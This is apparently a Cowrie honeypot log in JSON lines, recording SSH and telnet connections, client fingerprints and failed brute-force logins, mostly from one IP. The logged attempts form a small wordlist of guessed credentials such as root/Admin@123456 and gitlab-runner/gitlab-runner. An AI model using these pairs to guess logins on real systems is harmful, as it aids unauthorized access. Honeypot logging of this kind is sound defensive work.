{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:08.172912Z","src_ip":"154.16.115.17","session":"dde3adcf5a8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":54362,"dst_ip":"10.17.0.5","dst_port":22,"session":"3928993e014b","protocol":"ssh","message":"New connection: 47.86.95.62:54362 (10.17.0.5:22) [session: 3928993e014b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:22.665246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:23.407691Z","src_ip":"47.86.95.62","session":"3928993e014b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:23.412111Z","src_ip":"47.86.95.62","session":"3928993e014b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:24.603617Z","src_ip":"47.86.95.62","session":"3928993e014b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:25.955893Z","src_ip":"47.86.95.62","session":"3928993e014b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":54364,"dst_ip":"10.17.0.5","dst_port":22,"session":"f38540e7226d","protocol":"ssh","message":"New connection: 47.86.95.62:54364 (10.17.0.5:22) [session: f38540e7226d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:28.811851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:28.816306Z","src_ip":"47.86.95.62","session":"f38540e7226d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:29.022453Z","src_ip":"47.86.95.62","session":"f38540e7226d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"123456","message":"login attempt [www/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:29.644483Z","src_ip":"47.86.95.62","session":"f38540e7226d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:30.627055Z","src_ip":"112.51.27.82","session":"2c4c62bc2797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:31.075163Z","src_ip":"47.86.95.62","session":"f38540e7226d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":55620,"dst_ip":"159.203.135.109","dst_port":23,"session":"b02796f4ad8e","protocol":"telnet","message":"New connection: 187.222.242.146:55620 (159.203.135.109:23) [session: b02796f4ad8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:35.400723Z"}
{"eventid":"cowrie.session.connect","src_ip":"187.222.242.146","src_port":55794,"dst_ip":"159.203.135.109","dst_port":23,"session":"79e69e4efdc5","protocol":"telnet","message":"New connection: 187.222.242.146:55794 (159.203.135.109:23) [session: 79e69e4efdc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:37.497182Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.24.245.48","src_port":43210,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c3165289e04","protocol":"telnet","message":"New connection: 36.24.245.48:43210 (10.17.0.5:23) [session: 4c3165289e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:38.537405Z"}
{"eventid":"cowrie.session.closed","duration":12.638489723205566,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:51.175794Z","src_ip":"36.24.245.48","session":"4c3165289e04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":51598,"dst_ip":"10.17.0.5","dst_port":22,"session":"66b76bcf8a4a","protocol":"ssh","message":"New connection: 47.86.95.62:51598 (10.17.0.5:22) [session: 66b76bcf8a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:53.562540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:54.699806Z","src_ip":"47.86.95.62","session":"66b76bcf8a4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:54.705194Z","src_ip":"47.86.95.62","session":"66b76bcf8a4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:06.006134Z","src_ip":"47.86.95.62","session":"66b76bcf8a4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:08.326905Z","src_ip":"47.86.95.62","session":"66b76bcf8a4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47384,"dst_ip":"10.17.0.5","dst_port":22,"session":"eebfaf7f24fd","protocol":"ssh","message":"New connection: 47.86.95.62:47384 (10.17.0.5:22) [session: eebfaf7f24fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:13.920717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:14.237017Z","src_ip":"47.86.95.62","session":"eebfaf7f24fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:14.241687Z","src_ip":"47.86.95.62","session":"eebfaf7f24fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"gitlab-runner","message":"login attempt [gitlab-runner/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:18.257328Z","src_ip":"47.86.95.62","session":"eebfaf7f24fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:19.954394Z","src_ip":"47.86.95.62","session":"eebfaf7f24fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37092,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ab6c6f44635","protocol":"ssh","message":"New connection: 47.86.95.62:37092 (10.17.0.5:22) [session: 4ab6c6f44635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:22.603959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:22.608965Z","src_ip":"47.86.95.62","session":"4ab6c6f44635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:22.817450Z","src_ip":"47.86.95.62","session":"4ab6c6f44635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:23.442275Z","src_ip":"47.86.95.62","session":"4ab6c6f44635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:24.653826Z","src_ip":"47.86.95.62","session":"4ab6c6f44635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37104,"dst_ip":"10.17.0.5","dst_port":22,"session":"6251f05f42aa","protocol":"ssh","message":"New connection: 47.86.95.62:37104 (10.17.0.5:22) [session: 6251f05f42aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:27.168336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:27.172852Z","src_ip":"47.86.95.62","session":"6251f05f42aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:27.376921Z","src_ip":"47.86.95.62","session":"6251f05f42aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:27.989468Z","src_ip":"47.86.95.62","session":"6251f05f42aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:29.200424Z","src_ip":"47.86.95.62","session":"6251f05f42aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47060,"dst_ip":"10.17.0.5","dst_port":22,"session":"bad6de1e704a","protocol":"ssh","message":"New connection: 47.86.95.62:47060 (10.17.0.5:22) [session: bad6de1e704a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:53.480468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:53.934669Z","src_ip":"47.86.95.62","session":"bad6de1e704a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:54.029585Z","src_ip":"47.86.95.62","session":"bad6de1e704a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:55.611115Z","src_ip":"47.86.95.62","session":"bad6de1e704a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:58:56.864246Z","src_ip":"47.86.95.62","session":"bad6de1e704a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47074,"dst_ip":"10.17.0.5","dst_port":22,"session":"e28210ad3fe2","protocol":"ssh","message":"New connection: 47.86.95.62:47074 (10.17.0.5:22) [session: e28210ad3fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:00.246766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:00.250864Z","src_ip":"47.86.95.62","session":"e28210ad3fe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:00.459585Z","src_ip":"47.86.95.62","session":"e28210ad3fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:59:01.092506Z","src_ip":"47.86.95.62","session":"e28210ad3fe2","protocol":"ssh"}
